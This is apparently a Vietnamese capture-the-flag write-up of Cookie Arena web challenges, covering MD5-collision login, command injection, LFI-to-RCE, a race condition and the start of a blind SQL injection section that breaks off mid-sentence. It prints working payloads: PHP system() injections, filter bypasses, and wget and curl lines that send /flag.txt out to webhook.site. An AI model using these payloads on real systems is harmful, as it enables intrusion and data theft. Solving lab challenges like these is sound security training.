###### tags: `Cookie Arena` ## :beginner: Magic Hash --- Thật sự thì bài này làm mình nhớ đến cái lúc lần đầu minh được đi thi fusec =)) đọc cái đề nhìn cái hash cứ nghĩ nó rất là eazy cho đến khi mình bị ăn hành vì mãi không tìm ra được các để login okey xem sơ qua src tí nào ![](https://hackmd.io/_uploads/rkksO0cZa.png) nhìn kĩ thì sau khi input username và password thì nó decode và so sánh 2 giá trị input với cái dấu === kia thì nó liên quan đến 1 mã gọi là hash collision đại loại là sau khi băm ra thì ta tìm được 1 mã md5 có giá trị giống với cái kia https://www.mscs.dal.ca/~selinger/md5collision/ okey thế giờ chỉ việc đi encode cái mã hash kia qua base 64 rồi được nhỉ? =))) nah đời đéo như mơ đâu mình đã stuck cái này tận 2 ngày vì dù encode mãi vẫn kh ra được vì đơn giản là do chưa tìm hiểu rõ cách mà người ta mã hóa từ md5 qua base 64 là chúng ta phải chuyển nó về dạng bytes * EXPLOIT okey sau khi có idea thì ta chỉ việc viết đoạn code python để chuyển về dạng bytes là done ![](https://hackmd.io/_uploads/HJ_J0Rq-a.png) ``` import hashlib import base64 ip1 = "d131dd02c5e6eec4693d9a0698aff95c2fcab58712467eab4004583eb8fb7f8955ad340609f4b30283e488832571415a085125e8f7cdc99fd91dbdf280373c5bd8823e3156348f5bae6dacd436c919c6dd53e2b487da03fd02396306d248cda0e99f33420f577ee8ce54b67080a80d1ec69821bcb6a8839396f9652b6ff72a70" ip2 = "d131dd02c5e6eec4693d9a0698aff95c2fcab50712467eab4004583eb8fb7f8955ad340609f4b30283e4888325f1415a085125e8f7cdc99fd91dbd7280373c5bd8823e3156348f5bae6dacd436c919c6dd53e23487da03fd02396306d248cda0e99f33420f577ee8ce54b67080280d1ec69821bcb6a8839396f965ab6ff72a70" ip1= bytes.fromhex(ip1) ip2 = bytes.fromhex(ip2) print(base64.b64encode(ip1)) print(base64.b64encode(ip2)) ``` sau khi login thì mình nhận được reponse ![](https://hackmd.io/_uploads/rkI4kkjbT.png) hmm z là có thể chúng ta đã login được nhưng để chắc ăn hơn thì mình sẽ thử bằng cách truy cập vô thư mục admin.php?file=1.txt vì khi login thành công chúng ta sẽ được 1 session để truy cập vô file nếu không thành công thì sẽ báo là ta không có quyền như hình ![](https://hackmd.io/_uploads/Bk68hyi-a.png) ![](https://hackmd.io/_uploads/rJ3gg1sb6.png) okey xong được bước đầu là login thành công rồi nhìn thấy file thì mình đoán đây chắc chắn là lfi nhưng mà thôi cứ test thử cho chắc =)) ![](https://hackmd.io/_uploads/SyZPeyoWp.png) yah sure! giờ chỉ việc tìm cách bypass nữa là được móa lúc này cũng stuck nữa vì chẳng biết cách nào cả sau đó thì mình đi đọc hacktrick chỗ lfi https://book.hacktricks.xyz/pentesting-web/file-inclusion/lfi2rce-via-nginx-temp-files thấy một đoạn khá oce nên bắt đầu test thử ![](https://hackmd.io/_uploads/H1aWz1iZ6.png) ![](https://hackmd.io/_uploads/rkUDMJoWp.png) okey vậy h mình sẽ truy cập vào cái đường dẫn /proc/self/fd/$pid (pid này chắc bruteforce là được vì trong linux mỗi pid ứng với một process đang hoạt động) okey thì thử đến pid =4 là ra cl =)) ![](https://hackmd.io/_uploads/ryh1XJsWp.png) hmm cơ mà mình lại nhìn thấy cái này nó quen vcl chính xác là sau khi mình solved 1 chall cũng trên cookie là "Php có làm em lo lắng" thì mình nhận ra biết đâu cái username này nó cũng sẽ nhận 1 cái code php nào đó okey vậy tiếp theo mình sẽ lên idea bằng cách chèn thêm 1 câu lệnh vào cái dòng username kia okey vậy ta thử chèn phpinfo() vào xem thử ![](https://hackmd.io/_uploads/ry5v_1oZp.png) hehe it work! nhìn sơ qua thì nó kh disable system nên mình dùng luôn lệnh php để đọc cái flag ``` import hashlib import base64 ip1 = "d131dd02c5e6eec4693d9a0698aff95c2fcab58712467eab4004583eb8fb7f8955ad340609f4b30283e488832571415a085125e8f7cdc99fd91dbdf280373c5bd8823e3156348f5bae6dacd436c919c6dd53e2b487da03fd02396306d248cda0e99f33420f577ee8ce54b67080a80d1ec69821bcb6a8839396f9652b6ff72a70" ip2 = "d131dd02c5e6eec4693d9a0698aff95c2fcab50712467eab4004583eb8fb7f8955ad340609f4b30283e4888325f1415a085125e8f7cdc99fd91dbd7280373c5bd8823e3156348f5bae6dacd436c919c6dd53e23487da03fd02396306d248cda0e99f33420f577ee8ce54b67080280d1ec69821bcb6a8839396f965ab6ff72a70" ip3 = b"<?php system('cat /*'); ?>" ip1 = bytes.fromhex(ip1) ip2 = bytes.fromhex(ip2) print(base64.b64encode(ip1+ip3)) print(base64.b64encode(ip2+ip3)) ``` ![](https://hackmd.io/_uploads/HkAGqyiZp.png) hehe cũng hơi nhọc tí CHH{7yPE_jU66lin9_hArdEr_a354a8a9f25790463a6e5a070768a5c4} ## :beginner: COMMAND INJECTION ALL CHALL https://battle.cookiearena.org/skills-path/os-command-injection ### :gift: Command limit length #### Mind set cái bài củ lìn này mình tốn khá nhiều time để theo hint của ông nào đó trong cookie nhưng sự thật nó cay đắng vcl =)) và trong khi thằng bạn mình chỉ cần osint nhẹ đã tìm ra được với bài này thì ta sẽ tìm cách nhập câu lệnh có 4 kí tự (ví dụ như nl *) để đọc flag ![](https://hackmd.io/_uploads/BJrUiKZM6.png) =)) vì cái flag quá dài nên tốt nhất là dùng câu lệnh nào đó có 2 kí tự r thêm * vào #### Cách 1: Này thì osint hên xui cơ mà dù sao thì nó cũng rất ez Đáp án là sài m4 * #### cách 2 Okey follow theo cái hint mà ông nào đó trong cookie đưa cho mình ![](https://hackmd.io/_uploads/H18chY-M6.png) ![](https://hackmd.io/_uploads/rybj3t-G6.png) mình viết một tool để craw từ web bằng cách dùng bs4 read html paraser ``` from bs4 import BeautifulSoup # Load your HTML file with the correct file path for i in range(1,9): with open(rf'C:\Users\Dell\Documents\bruteforce FIle\{i}.html', 'r', encoding='utf-8') as file: html_content = file.read() # Parse the HTML contentc soup = BeautifulSoup(html_content, 'html.parser') # Find all the text content within the HTML text_content = soup.get_text() # Split the text into lines lines = text_content.split('\n') # Extract lines with 2 characters lines_with_2_chars = [line for line in lines if len(line.strip()) <= 6 ] output_file = r"C:\Users\Dell\Documents\bruteforce FIle\wordlist.txt" output=[] # Print or do something with the extracted lines for line in lines_with_2_chars: if len(line.strip())==5: # Check if the line is not empty output.append(line[:2]) for line in lines_with_2_chars: if len(line.strip())==6 and ("1p" ,"2p","3p","4p","5p","6p","7p","8p"in line): output.append(line[:2]) with open(output_file, 'a', encoding='utf-8') as wordlist: # Use 'a' for append mode for line in output: wordlist.write(line + '\n') # wordlist.writelines(i) ``` Cách 2: =)) cách này bổ sung sau nhưng mà mình vẫn thích để lại cách 1 do mình thấy cách 1 debug cũng tốt hơn gọi là chậm mà chắc ``` import requests from bs4 import BeautifulSoup for i in range(1,9): req = requests.get(f"https://man7.org/linux/man-pages/dir_section_{i}.html") soup = BeautifulSoup(req.content, "html.parser") output = [] for line in soup.text.splitlines(): if len(line.strip()) == 5: output.append(line[:2]) if len(line.strip()) == 6 and any(s in line for s in ["1p", "2p", "3p", "4p", "5p", "6p", "7p", "8p"]): output.append(line[:2]) output_file = r"C:\Users\Dell\Documents\bruteforce FIle\wordlist.txt" with open(output_file, 'a', encoding='utf-8') as wordlist: # Use 'a' for append mode for line in output: wordlist.write(line + '\n') print(output) ``` code này giúp ta tự động craw thông tin trên web về quá là ez :V à để tạo ra wordlist thì lại cần tí kiến thức python ``` # Input file input_file = r'C:\Users\Dell\Documents\bruteforce FIle\wordlist.txt' # Output file output=[] with open(input_file, 'r', encoding='utf-8') as infile: for line in infile: # Add two spaces to the end of each line modified_line = line.rstrip() output.append(modified_line) # # Write the modified line to the output file # outfile.write(modified_line + '\n') print(output) ``` sau khi ra kết quả thì đi replace lại tí là dc cái wordlist "ac" "ar" "AS" "as" "cp" "dd" "df" "dh" "du" "hg" "id" "ld" "ln" "lp" "ls" "mv" "nl" "nm" "od" "pr" "ps" "pv" "rm" "sg" "su" "tr" "ul" "wc" "ar" "at" "bc" "bg" "bt" "ca" "ca" "cd" "cm" "co" "cp" "cp" "cu" "dd" "df" "di" "du" "ed" "en" "eq" "ex" "fc" "fg" "fm" "g+" "gc" "gd" "gi" "gr" "id" "ld" "ln" "lp" "lp" "lp" "ls" "m4" "ma" "mv" "nl" "nm" "od" "pc" "pi" "po" "pr" "ps" "pt" "pw" "re" "rm" "sa" "sc" "se" "se" "sh" "ss" "st" "su" "ta" "ta" "tb" "te" "to" "tr" "tt" "vi" "wc" "wh" "ye" "bp" "br" "du" "in" "in" "in" "ip" "mp" "te" "db" "j0" "j1" "jn" "y0" "y1" "yn" "ab" "an" "BC" "co" "di" "en" "er" "er" "ex" "ff" "fm" "ft" "ft" "j0" "j0" "j0" "j1" "j1" "j1" "jn" "jn" "jn" "lo" "MA" "ma" "MI" "mi" "NA" "na" "nl" "pa" "PC" "po" "QM" "qm" "rp" "si" "SP" "ta" "UP" "xd" "y0" "y0" "y0" "y1" "y1" "y1" "yn" "yn" "yn" "fd" "hd" "lp" "md" "sd" "st" "me" "ms" "pt" "ra" "rt" "tt" "vc" "fs" "ac" "de" "ds" "el" "mm" "nf" "ns" "rp" "xf" "ip" "ai" "ar" "dd" "lx" "ma" "pt" "ra" "rx" "tc" "ud" "ur" "ur" "ur" "x2" "ct" "FQ" "fw" "ip" "sa" "ss" "tc" "wg" "xt" "an" "ar" "BP" "CB" "CB" "dc" "dn" "dr" "ET" "ET" "HT" "IF" "lp" "lv" "lv" "mc" "na" "PA" "pa" "PI" "pv" "re" "rp" "sa" "sa" "sf" "sf" "sl" "tb" "u3" "vg" "yu" "zi" okey vậy là sau khi chạy file mình dc 1 worldlist thế thì tiếp theo chỉ cần bruteforce là xong. No đời đéo như mơ đâu nếu gửi tên 17 rq thì nó sẽ tự động chặn và mình có thể thử nhiều lần trong cái wordlist nhưng mà chắc gì nó đã thành công và nó kh dc coi là cách giải hay vậy chúng ta nên làm gì Mình viết một file bash để nó tự động chạy từng dòng code và in ra output cho mình nếu đúng mình output đó thì mình sẽ bắt đầu chạy lệnh trên sever kia ``` #!/bin/bash # List of words words=( "ac" "ar" "AS" "as" "cp" "dd" "df" "dh" "du" "hg" "id" "ld" "ln" "lp" "ls" "mv" "nl" "nm" "od" "pr" "ps" "pv" "rm" "sg" "su" "tr" "ul" "wc" "ar" "at" "bc" "bg" "bt" "ca" "ca" "cd" "cm" "co" "cp" "cp" "cu" "dd" "df" "di" "du" "ed" "en" "eq" "ex" "fc" "fg" "fm" "g+" "gc" "gd" "gi" "gr" "id" "ld" "ln" "lp" "lp" "lp" "ls" "m4" "ma" "mv" "nl" "nm" "od" "pc" "pi" "po" "pr" "ps" "pt" "pw" "re" "rm" "sa" "sc" "se" "se" "sh" "ss" "st" "su" "ta" "ta" "tb" "te" "to" "tr" "tt" "vi" "wc" "wh" "ye" "bp" "br" "du" "in" "in" "in" "ip" "mp" "te" "db" "j0" "j1" "jn" "y0" "y1" "yn" "ab" "an" "BC" "co" "di" "en" "er" "er" "ex" "ff" "fm" "ft" "ft" "j0" "j0" "j0" "j1" "j1" "j1" "jn" "jn" "jn" "lo" "MA" "ma" "MI" "mi" "NA" "na" "nl" "pa" "PC" "po" "QM" "qm" "rp" "si" "SP" "ta" "UP" "xd" "y0" "y0" "y0" "y1" "y1" "y1" "yn" "yn" "yn" "fd" "hd" "lp" "md" "sd" "st" "me" "ms" "pt" "ra" "rt" "tt" "vc" "fs" "ac" "de" "ds" "el" "mm" "nf" "ns" "rp" "xf" "ip" "ai" "ar" "dd" "lx" "ma" "pt" "ra" "rx" "tc" "ud" "ur" "ur" "ur" "x2" "ct" "FQ" "fw" "ip" "sa" "ss" "tc" "wg" "xt" "an" "ar" "BP" "CB" "CB" "dc" "dn" "dr" "ET" "ET" "HT" "IF" "lp" "lv" "lv" "mc" "na" "PA" "pa" "m4" "pv" "re" "rp" "sa" "sa" "sf" "sf" "sl" "tb" "u3" "vg" "yu" "zi" ) # Input file input_file="a.txt" # Loop through the list of words and execute the command for word in "${words[@]}"; do # Check if the word is "rm" and skip it if [ "$word" = "rm" ] || [ "$word" = "vi" ] || [ "$word" = "ex" ] || [ "$word" = "rx" ]; then continue fi # Print the current word echo "Processing $word" # Combine the word with the input file and execute the command command="$word $input_file" # Execute the command and capture the output output=$(eval "$command" 2>/dev/null) # Check if the command produced output if [ -n "$output" ]; then # Print the output echo "Output for $word:" echo "$output" fi done ``` đại loại là cái bash này sẽ đọc từng dòng trong listword của mình sau đó chạy lênh (input a.txt) nếu mà ra kết quả là hack success thì okey lúc này cái m4 sẽ kh work vì đơn giản bạn phải install cái m4 nên là =)) thành ra khi suy nghĩ như vậy mình đã vô tình đánh mất m4 ![](https://hackmd.io/_uploads/r1FSlcbGT.png) nói chung là phải tìm cách để tải wordlist và bruteforce được nên là cách 2 mình đoán là craw and bruteforce =)) hehe sau khi debug mình phát hiện ra khi chạy lệnh mv * thì sever sẽ lập tức bị 404 nên là trong worldlist chỉ cần vứt đi mv là ổn :V ![](https://hackmd.io/_uploads/r1MvJ9GGT.png) hehe bingooooo #### Cách 3: đây chắc là cách mà mình nghĩ là tốt nhất và theo đúng mindset nhất mình nghĩ rằng cat sẽ kh filter và cơ bản là ng ra đề chỉ muốn filter đi những command có 2 chữ số okey vậy thì nếu làm cách nào đó mà xuất hiện cat mà chúng ta kh cần nhập thì sao mình dùng >cat để tạo ra thư mục cat ![](https://hackmd.io/_uploads/BJzRW5Wf6.png) okey vậy thì điều gì xảy ra nếu mình dùng * * đơn giản là nó sẽ viết ra tất cả các tên thư mục đúng không nên * * sẽ thành cat * và suy ra là nó sẽ đúng ![](https://hackmd.io/_uploads/rkxGMqbMp.png) nói chung là mind set là 1 phần quan trọng để solved bài này :V ### :gift: Ping 0x01 Bài này là một bài basic mindset ở đây là chúng ta sẽ xuống dòng để excute command :V ![](https://hackmd.io/_uploads/SJVro8DzT.png) nếu đọc kĩ src thì nó sẽ filter toàn bộ các char mà chúng ta hay dùng với command injection tuy nhiên khi thực hiện ping thì nó sẽ thực hiện toàn bộ các input lấy từ hàm Post vậy thì khi dùng CLRF có nhiều cách như %0A,%0D,%00 thì chúng ta sẽ bypass được nó ![](https://hackmd.io/_uploads/Hyym38vza.png) hehe quá là eazy vậy giờ chỉ cần đọc flag :V nhưng mà như bài này lại filter chữ flag nên chúng ta chỉ cần bypass tí :V cat /*![](https://hackmd.io/_uploads/ryGw2Uwzp.png) ### :gift: Ping 0x02 :V đây là 1 dạng cải tiến của bài ping0x01 ![](https://hackmd.io/_uploads/ByiWT8wGp.png) này có thêm * và flag xem ra hơi nhọc tí hehe ![](https://hackmd.io/_uploads/HkbP6IvMp.png) okey cơ bản thì chúng ta vẫn sẽ xuống dòng để exploit tuy nhiên ở đây khi dùng space thì sẽ kh được vậy bạn chỉ cần bypass nó thay vì dùng space thì đổi qua tab ![](https://hackmd.io/_uploads/Syzsa8PM6.png) okey it work! giờ chỉ việc đọc flag. Vậy giờ phải đọc flag bằng cách bypass được filter flag và * ![](https://hackmd.io/_uploads/HyVEALDGp.png) :V do nó filter flag nên chúng ta chỉ cần tách chữ flag ra "f""lag" là xong hehe ### :gift: Ethical Ping Pong Club :V bài này giống bài trên nên mình solved luôn dạng này trước khi qua các dạng khác ![](https://hackmd.io/_uploads/BkxflDwzT.png) bài này filter space nên chúng ta cũng sẽ tìm cách bypass nó bằng cách tham khảo trên hacktrick ![](https://hackmd.io/_uploads/HyitMDPGp.png) cat</flag.txt ### :gift: Time #### recon với bài này chúng ta sẽ flow theo src ![](https://hackmd.io/_uploads/r1lFAvDMa.png) sau khi nghịch src thì mình tìm thấy 1 fuction khá hay là timemodel đại loại là sau khi truyền tham số vào hàm format thì hàm time sẽ được excute dựa trên cái biến format vừa điền ==> ta có thể dễ dàng truyền 1 command nào đó vào thế thì mình thử ls ![](https://hackmd.io/_uploads/SyER1OvGp.png) hmm tất nhiên là nó không dễ vậy mình tiếp tục đọc src thì phát hiện ra 1 hàm timecontroller ![](https://hackmd.io/_uploads/HkcxluwMT.png) okey đúng như cái tên hàm "format" nó đã bị định dạng về '%H:%M:%S' nghĩa là nếu ta input 1 cái hàm nào khác thì nó cũng sẽ trả về theo cái format kia vậy bypass nó như thế nào #### Idea and Exploit ![](https://hackmd.io/_uploads/SyRjg_DG6.png) ở đây chúng ta có thể thấy là trước hàm format '+ "" điều này khiến cho mình nghĩ sẽ ra sao nếu chúng ta cancel đi cái dấu + kia nghĩa là khi đó cái tham số chúng ta truyển vào sẽ khác với cái hàm format ban đầu ta sẽ truyền vào 'ls ##### Exploit ![](https://hackmd.io/_uploads/Skb-f_Pza.png) vẫn không chạy được vì lí do ở đây là ![](https://hackmd.io/_uploads/SyQXf_Dz6.png) chúng ta có thể thấy có đến 2 dấu ' nên nếu khi ta điền 1 dấu ' vào tất nhiên command sẽ bị lỗi vậy thử điền 'ls' ![](https://hackmd.io/_uploads/r19WN_vfT.png) hmm nhìn như kiểu nó lại trả về giá trị ls như ban đầu cơ mà nếu bạn để ý kĩ sẽ thấy là sau khi bypass được 2 cái dấu' thì biến input đầu tiên sẽ đi theo cái format ban đầu tuy nhiên ở đây mình có thể chèn thêm 1 câu lệnh đằng sau nó vì bây giờ chúng ta đã kh bị định dạng format kia chặn nên chắc chắn là khi thêm câu lệnh đằng sau sẽ run được ![](https://hackmd.io/_uploads/rkWmSODGT.png) ![](https://hackmd.io/_uploads/Byf_BOPzT.png) =)) nói chung là cũng khá lắc léo tí hehe okey giờ đi get flag thôi '|cat ../flag.txt' ![](https://hackmd.io/_uploads/r18W7dDzT.png) ### :gift: The Existed File hmm bài này thì trong wu của cookie arena cũng đã đề cập sẵn nói chung mục đích của bài này thì đã rất rõ ràng khi đập vào mắt chúng ta là một dòng commmand ![](https://hackmd.io/_uploads/rJvQvKDzp.png) thì rõ ràng nhìn là có thể đoán được ta sẽ tìm cách thực thi các command khác bài này filter khá là nhiều kí tự ![](https://hackmd.io/_uploads/SyCeOKPM6.png) cách bypass nó là chúng ta sẽ dùng $(command) tuy nhiên khi bạn chạy $(ls) nó không trả về một cái gì ![](https://hackmd.io/_uploads/S1kVFFPzT.png) đây là một dạng của command injection blind tuy đã có write up về sử dụng curl nhưng nếu trong trường hợp kh có curl thì ta có thể nghĩ đến wget nói chung là tùy trường hợp hehe đây là payload mình sử dụng $(wget${IFS}--post-data${IFS}"$(nl</flag.txt)"${IFS}https://webhook.site/f4619b3f-adb2-4c50-95f1-199a9d8682eb) đề filter cat nên mình dùng nl để đọc ![](https://hackmd.io/_uploads/BJNDZ9Dzp.png) ### :gift: Break The Editor Jail Bài này thì cũng khá là vui chỉ đơn giản là bài này giúp chúng ta làm quen tí với giao diện vim hehe lúc đọc để mình tưởng nào chỉ cần thoát ra cái này là có flag nhưng kh phải :V mà là sao khi tìm dc flag cái này nó tự thoát ra nha hehe ![](https://hackmd.io/_uploads/B1GbXqvfT.png) hehe khá là ngầu bây giờ chúng ta chỉ cần 1 tí kiến thức là có thể chạy shell trên môi trường vim :set shell=/bin/sh :shell okey sau khi xong ta được cửa sổ như hình :V ![](https://hackmd.io/_uploads/BJIn75wzT.png) ![](https://hackmd.io/_uploads/HJMkVcPza.png) quá là ez :V ### :gift: Baby Crawler với bài này thì show khi vierwsrc mình tìm được 1 file debug ![](https://hackmd.io/_uploads/H16IP9vMa.png) ![](https://hackmd.io/_uploads/Hy0ODcwfT.png) ở đây ta chú ý kĩ là sau khi nhập url thì nó dùng hàm escapshellcmd để thực thi điều này có thể dẫn đến command injection tuy nhiên ở trước lại có 1 dòng dùng để check xem có http hay không ![](https://hackmd.io/_uploads/SJuCDqPM6.png) vậy thì idea của chúng ta là phải tìm cách nào đó import được 2 url 1 url sẽ chạy hàm curl và cái url đằng sau nó sẽ chạy command :v cũng khá là ez nói cách khác ta có thể viết lại cái payload mà chúng ta đưa vô như sau curl http://18.141.217.137:31803 -F "file=@flag.txt" https://webhook.site/8ac258c0-7d5a-47c0-b365-26d02dfbf897 nghĩa là với cái input truyền vô là -F "file=@flag.txt" https://webhook.site/8ac258c0-7d5a-47c0-b365-26d02dfbf897 nó sẽ lấy file flag.txt trong cái trang web kia và gửi về webhook :V tuy nhiên lắc léo tí là để bypass cái http hay https thì ta sẽ trở trực tiếp cái web kia vào trong url để dễ hiểu hơn thì mình có 1 ví dụ cơ bản ![](https://hackmd.io/_uploads/HJYaKqPGp.png) mình gửi cho webhook 1 file flag.txt giả của mình như bạn thấy nếu không thêm 1 tham số http nào vào trước nó vẫn nhận bình thường ![](https://hackmd.io/_uploads/SyNWqqvM6.png) vậy nên để bypass http ta chỉ cần trỏ trực tiếp web kia vào là được `http://18.141.217.137:31803 -F "file=@/flag.txt" https://webhook.site/8ac258c0-7d5a-47c0-b365-26d02dfbf897` ![](https://hackmd.io/_uploads/rJes0qqwGp.png) ### :gift: Youtube Downloader bài này thì chắc là khi nhập url vô nó sẽ curl cái url đó vậy nên ta sẽ nghĩ đến việc thêm dấu ; để thêm 1 command mới ![](https://hackmd.io/_uploads/rk6kT9Dz6.png) output trả về ở thẻ img bài này filter space nên mình sẽ dùng ${IFS} ![](https://hackmd.io/_uploads/Sk58a9wMT.png) okey giờ chỉ việc cat flag ![](https://hackmd.io/_uploads/S1IO6qwG6.png) ## :beginner: Slow Down Login alice alice hoặc Bob Bob hmm bài này thì khi chuyển tiền thì chúng ta sẽ có 1 khoảng thời gian ngắn delay điều này khiến cho mình nghĩ đến race condiction okey chỉ việc login 2 tab và chuyển tiền đi thôi tuy nhiên ở đây mình lại gặp một cái rất là ngớ ngẩn :V là nhiều lúc mua thì dính fake flag ![](https://hackmd.io/_uploads/r1modoMzp.png) flag:CHH{ea5y_RaCe_CONd17iOn_fd3919d79a83432ae7bd1e5a03ba2e80} ## :beginner: PHP ALL CHALL #### File Inclusion 0x01 đây là 1 chall khá là basic vì cơ bản nó đã dính phải lfi nên nếu muốn đọc flag chúng ta chỉ cần đơn giản là thêm ../../../flag.txt vào ![](https://hackmd.io/_uploads/rJ-xmLPz6.png) :V tuy nhiên thì nếu như cái sever này nó không phải là flag.txt mà là flagxxxx nào đó thì làm sao nhỉ? ![](https://hackmd.io/_uploads/B1z7XUvMa.png) quan sát kĩ hint của bài thì rõ ràng tác giả muốn chúng ta tìm cách RCE nó chứ không đơn giản là một lỗi LFI để RCE thì mọi người có thể tham khảo thêm về LFI to RCE trên hacktrick và payload all thing https://book.hacktricks.xyz/pentesting-web/file-inclusion#file-inclusion https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/File%20Inclusion/README.md#wrapper-data okey vậy thì bây giờ chúng ta sẽ tìm cách để run shell mình sử dụng hackbar vì nó có sẵn các script để test :V và tham khảo thêm trên hacktrick data://text/plain,<?php phpinfo(); ?> ![](https://hackmd.io/_uploads/SkgvHIvG6.png) heheh đây là script cơ bản để chạy phpinfo() và sau khi quan sát thì ta nhận thấy nó kh filter gì nên ta sẽ truyền system vào để get flag data://text/plain,<?php system('cat /*'); ?> ![](https://hackmd.io/_uploads/SyQswLDf6.png) =)) đó do cái bài này nó để là flag.txt nên mới dễ vậy chứ mà đổi tên thì phải tìm cách khai thác shell hehe mình sử dụng cat /* vì bài này như filter chữ flag thì phải :V #### PHP Inclusion to RCE Đây là bài nâng cấp của bài file inclusion :V ![](https://hackmd.io/_uploads/Sy7ZR7kQp.png) nhìn rất là giống bài file nhưng cái khó ở đây là chúng ta không hề biết được tên của file chứa flag ![](https://hackmd.io/_uploads/H1kBAXyXT.png) chúng ta có thể dễ dàng dùng LFI để đọc /etc/passwd ![](https://hackmd.io/_uploads/rJKLCXkX6.png) but can not find out flag.txt =)) okey vậy thì chúng ta cần phải tìm cách để upload shell lên web. Wait a minutes liệu nó có khả thi không khi chúng ta không hề có một tệp file nào upload. Câu trả lời là có vì chính người ra đề đã hint cho chúng ta ![](https://hackmd.io/_uploads/rk2aR717a.png) mình đã tìm hiểu khá nhiều cách và cách có thể áp dụng chính là https://book.hacktricks.xyz/pentesting-web/file-inclusion ở phần LFI2RCE ![](https://hackmd.io/_uploads/ry_QyN1XT.png) okey đơn giản là nếu cái sever có các file log apache ta có thể hoàn toàn setting user agent để thực thi shell vậy giờ chỉ việc test xem sever có log file nào không ![](https://hackmd.io/_uploads/rks3JNy7a.png) hehe có nên ta dễ dàng đi exploit thôi ![](https://hackmd.io/_uploads/Hy8NxVJmp.png) mình debug luôn bằng firefox cho nó trực quan ![](https://hackmd.io/_uploads/H1GyEE17a.png) ![](https://hackmd.io/_uploads/ByW-4Eym6.png) sau khi đọc qua php info thì mình biết nó kh có filter system nên mình sẽ sử dụng system để get flag hehe <?php system('cat /*'); ?> ![](https://hackmd.io/_uploads/BJ5PENkQ6.png) :V vậy là xong cơ mà bây giờ thì mình cũng muốn tìm thử file flag tên là gì hehe ![](https://hackmd.io/_uploads/rJP4SEJQ6.png) như bạn thấy có 2 file flag lận =)) okey vậy mình sẽ test nốt file kia ![](https://hackmd.io/_uploads/rk_wBE1Q6.png) hehe here we goooo đúng như mình đoán bài này nó đổi tên flag để chúng ta kh biết được file nào chứa flag #### PHP có làm em lo lắng okey làm gì thì làm đầu tiên là chúng ta sẽ đi thử xem các func của web ![](https://hackmd.io/_uploads/SkgfPNJ76.png) vô register reg 1 accout để hack nào hehe ![](https://hackmd.io/_uploads/HkrrwN1QT.png) hmm theo kinh nghiệm của mình thì file export này khá là đáng ngờ nên mình sẽ dùng burp để xem thử nó sẽ làm gì ![](https://hackmd.io/_uploads/ryf2PEkXa.png) oh nó sẽ export ra 1 file .csv như hình thế nếu chúng ta đổi thành .php thì sao nhỉ =)) phải thử mới biết được hehe ![](https://hackmd.io/_uploads/HJ1kuVJmT.png) okey h mình follow theo cái đường dẫn kia xem ![](https://hackmd.io/_uploads/BJxz_41QT.png) hmmm mình nghĩ là do vì nó kh phải là php nên nó kh trả về gì nên mình nghĩ bây giờ sẽ ra sao nếu ta reg 1 account có command php chúng ta chỉ cần chú ý username không cần đến password ![](https://hackmd.io/_uploads/Ske9ONkmp.png) okey h follow theo cái idea nãy bắt gói tin csv đổi thành php rồi join vào link kia ![](https://hackmd.io/_uploads/HyV6uE1Xa.png) hmm nó vẫn kh ra có vẻ là do mình đã để space nên không được ![](https://hackmd.io/_uploads/Sk9MtV1Qa.png) okey reg lại account without space ![](https://hackmd.io/_uploads/BJJvKEyQp.png) =)) hehe it work okey đọc qua thì kh thấy system bị filter nên ta sài system thôi :V này thì không cần nói thêm gì đâu nhỉ <?=system('cat /*');?> nhớ là tìm cách filter space đi ![](https://hackmd.io/_uploads/BJffiVJQT.png) okey 1 chall khá là hay của EHC #### Memory of PHP idektf Lại là một chall php đây![](https://hackmd.io/_uploads/SkOptIvz6.png) Đập vào mặt là một đoạn code :))) ![](https://hackmd.io/_uploads/ByN-58PMp.png) Đừng sợ, hãy phân tích đoạn code một chút. Đoạn code sẽ check xem có tham số hay không và tham số không quá 32 kí tự. Ta có thể truyền bất cứ tham số nào nhưng để có được <marK>flag1</mark> thì ta phải truyền vào tham số <mark>best-team</mark> và giá trị của nó là <mark>your_are_the_best</mark> ![](https://hackmd.io/_uploads/B118jLwGT.png) Sau khi truyền tham số vào rồi thì web sẽ có 1 response như sau: ![](https://hackmd.io/_uploads/r1vqsLDfa.png) Chúng ta sẽ có 1 file <mark>secure-bypass.php</mark>. Copy tên file vào xem thử nó có gì.![](https://hackmd.io/_uploads/rJIXhIwM6.png) Lại là một đoạn code :)))) đừng sợ, cùng review sơ qua code nèo. Đoạn code sẽ check xem có tham số <mark>url</mark> hay không và giá trị của tham số ít nhất là 15 kí tự. Để ý có đoạn <mark> header("location: {$_GET['url']}");</mark>. khi mà thêm tham số <mark>url</mark> thì ta bắt buộc ta phải có tên file <mark>secure-bypass.php</mark> ở phía trước. Nếu điều kiện đạt yêu cầu thì nó sẽ in ra flag. Còn không thì sẽ in ra đoạn <mark> echo "Plz make me interest with your url <br>"</mark> payload: <mark>your_lab_url_here/secure-bypass.php?url>/secure-bypass.php?url=blablablablablablabla</mark> Khi thử payload trên thì nó sẽ redirect ngược lại trang web đầu![](https://hackmd.io/_uploads/BJgr0LDfp.png) Vậy thì thử thêm <mark>nullbyte</mark> vào phía sau của payload trên. Ta sẽ có payload như sau: <mark>your_lab_url_here/secure-bypass.php?url>/secure-bypass.php?url=blablablablablablabla%00</mark> ![](https://hackmd.io/_uploads/Hy05ALwGa.png) Done :))) ## :beginner: SQL Injection ### Simple Blind SQL Injection ![](https://hackmd.io/_uploads/By5XIwDMT.png) Một chall khá hay ho đến từ vị trí của Cookie Arena. #### ANALYSIS ![](https://hackmd.io/_uploads/SJVFLDwGa.png) Hãy xem xét web này làm gì. Với input<mark>admin</mark> thì web sẽ trả về response như sau: ![](https://hackmd.io/_uploads/SkWSPvwGp.png) Có nghĩa là user admin tồn tại trong database, thử thêm một input khác. ![](https://hackmd.io/_uploads/By45Pwwf6.png) Ở đây input <mark>thinhnee</mark> không tồn tại nên nó sẽ trả về not found! Như tên bài thì chúng ta sẽ thực thi sqli. Input đầu tiên sẽ là <mark>'</mark> và nó sẽ xuất hiện page này.![](https://hackmd.io/_uploads/HJG1wvDf6.png)Từ đây ta có thể biết DBMS sẽ là <mark>sqlite3</mark> Để hết lỗi thì ta sử dụng comment <mark>'--</mark> Hãy xem 2 payload sau: ![](https://hackmd.io/_uploads/rkqMYDPM6.png) ![](https://hackmd.io/_uploads/SkYQYvvG6.png) Nếu như payload của chúng ta thõa mản query của server thì nó sẽ trả về <mark>exists</mark> còn không thì nó sẽ trả về <marK>not found!</marK> Từ đây ta sẽ thực thi blind sqli dựa trên sự khác nhau của response. Mỗi DBMS sẽ có mỗi cách truy 